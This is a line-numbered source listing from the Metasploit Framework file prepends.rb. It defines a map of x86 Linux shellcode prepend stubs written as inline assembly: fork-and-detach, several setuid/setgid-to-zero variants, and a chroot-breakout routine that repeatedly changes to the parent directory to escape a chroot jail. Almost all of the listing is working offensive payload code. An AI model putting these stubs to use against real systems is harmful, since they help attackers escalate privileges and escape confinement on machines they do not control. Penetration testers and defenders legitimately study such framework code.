14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
|
# File 'lib/msf/core/payload/linux/x86/prepends.rb', line 14
def prepends_map
@prepends_map ||= {
'PrependExecOnce' => prepend_exec_once,
'PrependFork' => x86_assemble(%(
push 2
pop eax
int 0x80
test eax, eax
jz child
parent:
xor eax, eax
mov al, 1
int 0x80
child:
mov al, 0x42
int 0x80
push 2
pop eax
int 0x80
test eax, eax
jnz parent
)),
'PrependSetresuid' => x86_assemble(%(
xor ecx, ecx
xor ebx, ebx
mul ebx
mov al, 0xa4
int 0x80
)),
'PrependSetreuid' => x86_assemble(%(
xor ecx, ecx
xor ebx, ebx
push 0x46
pop eax
int 0x80
)),
'PrependSetuid' => x86_assemble(%(
xor ebx, ebx
push 0x17
pop eax
int 0x80
)),
'PrependSetresgid' => x86_assemble(%(
xor ecx, ecx
xor ebx, ebx
mul ebx
mov al, 0xaa
int 0x80
)),
'PrependSetregid' => x86_assemble(%(
xor ecx, ecx
xor ebx, ebx
push 0x47
pop eax
int 0x80
)),
'PrependSetgid' => x86_assemble(%(
xor ebx, ebx
push 0x2e
pop eax
int 0x80
)),
'PrependChrootBreak' => x86_assemble(%(
xor ecx, ecx
xor ebx, ebx
push 0x46
pop eax
int 0x80
push 0x3d
mov ebx, esp
push 0x27
pop eax
int 0x80
mov ecx, ebx
pop eax
int 0x80
xor eax, eax
push eax
db 0x66, 0x68, 0x2e, 0x2e ; push word 0x2e2e (not supported by Metasm 1.0.6)
mov ebx, esp
push 0x3d
pop ecx
chdir_loop:
mov al, 0xc
int 0x80
loop chdir_loop
push 0x3d
mov ecx, ebx
pop eax
int 0x80
))
}
end
|